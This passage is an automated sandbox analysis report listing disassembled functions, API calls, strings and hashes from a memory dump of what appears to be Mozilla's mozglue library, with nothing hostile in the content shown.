Part of subcall function 6C5681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5B709C
LocalFree.KERNEL32(?), ref: 6C5B70AA

Strings

### ERROR: %s: %s, xrefs: 6C5B7087
(null), xrefs: 6C5B706A, 6C5B7083

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: cd9f1f36086230a6c421fa986693897221bd05d051a822ef02819186a724537a
Instruction ID: 0a200a069dd440920439042277c77242c64dffa685dfc2f4e01a89a4cccbac6c
Opcode Fuzzy Hash: cd9f1f36086230a6c421fa986693897221bd05d051a822ef02819186a724537a
Instruction Fuzzy Hash: 3201B9B1A00305AFDF00ABA4DC4ADAF7BBDEF49215F020425FA05E7241E67179188BA9

Function 6C579E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C579EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C579F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C579F34
LeaveCriticalSection.KERNEL32(?), ref: 6C57A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C57A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C57A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C57A8B1, 6C57A8D4, 6C57A8EF

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 0bb4a3f838f3321eb63d872986b8f52baad001808f16225da5a3ba65f3848f96
Instruction ID: 0f8d58fb5d9d317078ed57105cbc90bd6fc90224fd9647c6b80811197999433d
Opcode Fuzzy Hash: 0bb4a3f838f3321eb63d872986b8f52baad001808f16225da5a3ba65f3848f96
Instruction Fuzzy Hash: 21727E72A157118FD724CF28C940615FBE1BF89328F29C76DE8699B791D335E882CB90

Function 6C5A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5A2C61

Part of subcall function 6C554DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C554E5A
Part of subcall function 6C554DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C554E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5A2E2D

Part of subcall function 6C5681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5681DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C5A2E3B
expected a Time entry, xrefs: 6C5A2E36
(root), xrefs: 6C5A354F

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 91b6fc1676aab26f0ec3590c94e5870320a4aa57bbe35dfb6a43a4dd21d452f5
Instruction ID: e233a67b6bea2d8940215f6dc864af220d45e92646f8bf2b664aaeb97e985d80
Opcode Fuzzy Hash: 91b6fc1676aab26f0ec3590c94e5870320a4aa57bbe35dfb6a43a4dd21d452f5
Instruction Fuzzy Hash: F991DF706087408FC724CF6ACC9169EF7E1AFC9358F104A1DE9998B751EB30E94ACB56

Function 6C5B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C5B9F3D
__aulldiv.LIBCMT ref: 6C5B9F77
__aullrem.LIBCMT ref: 6C5B9F8C
__aulldiv.LIBCMT ref: 6C5BA023

Strings

NaN, xrefs: 6C5B9EAB
-Infinity, xrefs: 6C5B9E60, 6C5B9E7B

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b9f6cdecf4c26769ccce601221a35c4e1a6141d5cca21890df303fd68a378501
Instruction ID: bf3dc15bc01a1e9030ea8c451fb1c586fb2fb1f9cb42fd5fdf7337d328820c38
Opcode Fuzzy Hash: b9f6cdecf4c26769ccce601221a35c4e1a6141d5cca21890df303fd68a378501
Instruction Fuzzy Hash: FBC18D71E00319CBDB14CFA9CCA079EBBB6AB84714F544529D409BBB80DB71AD49CB91

Function 6C55D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6C55D7DD
0, xrefs: 6C55D852
0, xrefs: 6C55DC7F
1, xrefs: 6C55DBDD
, xrefs: 6C55DA88
8, xrefs: 6C55DC08
9, xrefs: 6C55DE7F
@, xrefs: 6C55DAF6

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 29ad23c4bf6efedcf7f7eb3bc133c299b1e9ea1f9bbc15e1af9200cb53099b29
Instruction ID: d211353d623f7094f3ac192393a2a2b57203e4db503b051bbe4a62ebdca73c5a
Opcode Fuzzy Hash: 29ad23c4bf6efedcf7f7eb3bc133c299b1e9ea1f9bbc15e1af9200cb53099b29
Instruction Fuzzy Hash: 0162CF7260C3458FD701CF18CA9075EBBF2AF86358F984A0FE4D54BA91D33599A5CB82

Function 6C5C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5C8A4B

Strings

~qUl, xrefs: 6C5C5740, 6C5C921F, 6C5C56C7, 6C5C9459, 6C5C5703, 6C5C9269, 6C5C948F

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memset
String ID: ~qUl
API String ID: 2221118986-2086637238
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: bb2053a598ce2755d7065fac132b13b21ed2d72e8661b11a0f398f749be7112b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 9EB1C572B0021ACFDB14CEA8CC90799B7B2EF95314F1802ADC549DB791E734A985CB91

Function 6C5C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5C925C

Strings

~qUl, xrefs: 6C5C5740, 6C5C921F, 6C5C56C7, 6C5C9459, 6C5C5703, 6C5C9269, 6C5C948F

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memset
String ID: ~qUl
API String ID: 2221118986-2086637238
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: d8db0be083407844f87e04cf33004df4ecbc1cb7121bad1f90e58b4373dc04d3
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 41B1C572F0121ACBCB14CE98CC816EDB7B2EF95314F18026DC549EB785E734A999CB91

Function 6C5BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5BC0E9), ref: 6C5BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C5BC437
FreeLibrary.KERNEL32(?,6C5BC0E9), ref: 6C5BC44C

Strings

ntdll.dll, xrefs: 6C5BC413
NtQueryVirtualMemory, xrefs: 6C5BC431

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 06bf4cb0465021f0c6e9eba2d22a1d2479b9e9bb616893cfacca1d95d9e067b3
Instruction ID: 72f09a7324435d07c9be2ad78f5ac6d559dd02841705dc60d708f6ea89d13d67
Opcode Fuzzy Hash: 06bf4cb0465021f0c6e9eba2d22a1d2479b9e9bb616893cfacca1d95d9e067b3
Instruction Fuzzy Hash: CDE0B670601302ABDF007F75CD187127FF9E706606F06471AAA04A2610EBB0F140CB5E

Function 6C569F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6C56A5D6
0, xrefs: 6C56A100
1, xrefs: 6C56A824
@, xrefs: 6C56A625
0, xrefs: 6C56AB22
' , xrefs: 6C56A3D8

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: e8e2915cda7aa452440b7f1e22a4890adab01aa0243bc985904be6f839ed7993
Instruction ID: 15231fee2e70b0feed07b3800cd86ea3b943fca42d24bf109df07bb7db7a3c0c
Opcode Fuzzy Hash: e8e2915cda7aa452440b7f1e22a4890adab01aa0243bc985904be6f839ed7993
Instruction Fuzzy Hash: 1882C1319093718BD711CF1BCC9026EB7F1EB85758F658A2AE8D547EB0D734A885CB82

Function 6C55BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C55C1CB
__aulldiv.LIBCMT ref: 6C55C24C
__aulldiv.LIBCMT ref: 6C55C348
__aullrem.LIBCMT ref: 6C55C365
__aulldiv.LIBCMT ref: 6C55C37D

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: c186bfe40ad49585ab0147107d955e75262d41f75503de8a4374026f68e32a6e
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 5D322632B046158FC718DE2CC89065ABBE6AFC9310F49866EE895CB3A5D730ED05CB91

Function 6C5A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A7A93

Part of subcall function 6C575C50: GetTickCount64.KERNEL32 ref: 6C575D40
Part of subcall function 6C575C50: EnterCriticalSection.KERNEL32(6C5DF688), ref: 6C575D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5A7AA1

Part of subcall function 6C575C50: __aulldiv.LIBCMT ref: 6C575DB4
Part of subcall function 6C575C50: LeaveCriticalSection.KERNEL32(6C5DF688), ref: 6C575DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C5A7B31

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3c23776860980fc637aab029b4861da4dbc3c609484b014aa8c43398739cea6b
Instruction ID: c38fc7ee52ef4de66a6cacc73ba2ffb19247e4af37f8ee2bbdd3a2c402aa30c2
Opcode Fuzzy Hash: 3c23776860980fc637aab029b4861da4dbc3c609484b014aa8c43398739cea6b
Instruction Fuzzy Hash: 92B1AE316083818BCB14CFA6C85065FB7E2AFC9358F154A1CE99567795DB70ED0BCB82

Function 6C578850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C5797EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C579813, 6C57985D, 6C579878, 6C579CEB

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: c7d246294b59b6990f04ca89361411be7a39a24117a9a91264e39b75fd6d2500
Instruction ID: 4e60e2d9e439bae84d486aea72004862e96e0ade01b2ae835277183e10c59c60
Opcode Fuzzy Hash: c7d246294b59b6990f04ca89361411be7a39a24117a9a91264e39b75fd6d2500
Instruction Fuzzy Hash: E0D29D71A056018FC728CF19C990715BBE2BF85324F29C76DD86A8B7A5D731E881CBA1

Function 6C596CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C596D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C596E1E

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: a9f5f15c9f57a2be6ba144bf44b01c2280277aa1936b9fe586b2a915e5659369
Instruction ID: d3ddcd8c06edf4316d6c5bdecd811684e8ffc1e6e49a590ace3d38ae6b9d4098
Opcode Fuzzy Hash: a9f5f15c9f57a2be6ba144bf44b01c2280277aa1936b9fe586b2a915e5659369
Instruction Fuzzy Hash: 66A16B706183818FC755CF25C8907AEBBE2BFC8308F45495DE48A87751DB70A949CB92

Function 6C5BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C5BB720
RtlNtStatusToDosError.NTDLL ref: 6C5BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C58FE3F,00000000,00000000,?,?,00000000,?,6C58FE3F), ref: 6C5BB760

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 6675fc74d69859065c68634b51602eb9870f9c81d33bf17265283f466b2d5621
Instruction ID: bdd3e73850114926a583fdf4e0b736879a37dacd6824c26d8f35ec5b05753608
Opcode Fuzzy Hash: 6675fc74d69859065c68634b51602eb9870f9c81d33bf17265283f466b2d5621
Instruction Fuzzy Hash: E1F0AFB0A0020CEEEF01AAE18CD4BEEBBBC9B44319F105129E511756C0D7B4A9C8C6A2

Function 6C574640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C574777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C575585, 6C5755A8, 6C5755C3, 6C575624

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: c60b8d9891b2ee80013d2f2dc21e4499b0fb2d0ef3f17d789cf0dc86a88385df
Instruction ID: afc97e66b74324ae40504cd78a961a86ed6f5c66b8733c773c25c893d7f3ee11
Opcode Fuzzy Hash: c60b8d9891b2ee80013d2f2dc21e4499b0fb2d0ef3f17d789cf0dc86a88385df
Instruction Fuzzy Hash: D2B28D71A057018FD728CF18C990715BBE2BFC5324B29C76DE46A8B7A5D771E881CB90

Function 6C5B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5B8C7C
__aulldiv.LIBCMT ref: 6C5B8DD7

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 6a2245c268f57f97b4344716086709354d8b99762c7c771f77343e91f0d66ef6
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 00327471F0111A8BDF18CE9CC8A17AEFBB2FB88300F15953AD506BB794D6349D458B92

Function 6C5C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qUl, xrefs: 6C5C79FB, 6C5C7796, 6C5C793C, 6C5C7E0B, 6C5C79C0, 6C5C7B0B

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID: ~qUl
API String ID: 0-2086637238
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: bb8c5e363d58277b33ac96f66c407a56b22352606fc41149390bbc5c8401eef5
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 2B32F771E0061A8FCB14CF98C890AADFBB2FF88304F64856DC959A7745D731A986CF91

Function 6C5C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qUl, xrefs: 6C5C7C03, 6C5C79FB, 6C5C793C, 6C5C7E0B, 6C5C7C72, 6C5C79C0, 6C5C7B0B

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID: ~qUl
API String ID: 0-2086637238
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3fba92bd73d9f2347b30022f3f7dc9619fb5ae1b7d4ffd6e90ff493a55d270b7
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
